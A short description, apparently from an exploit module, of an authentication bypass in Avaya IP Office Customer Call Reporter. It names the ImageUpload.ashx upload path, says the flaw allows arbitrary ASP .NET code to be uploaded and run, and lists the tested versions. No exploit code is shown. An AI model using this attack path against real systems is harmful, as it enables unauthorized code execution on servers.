     This module exploits an authentication bypass vulnerability on Avaya IP Office
    Customer Call Reporter, which allows a remote user to upload arbitrary files
    through the ImageUpload.ashx component. It can be abused to upload and execute
    arbitrary ASP .NET code. The vulnerability has been tested successfully on Avaya IP
    Office Customer Call Reporter 7.0.4.2 and 8.0.8.15 on Windows 2003 SP2.
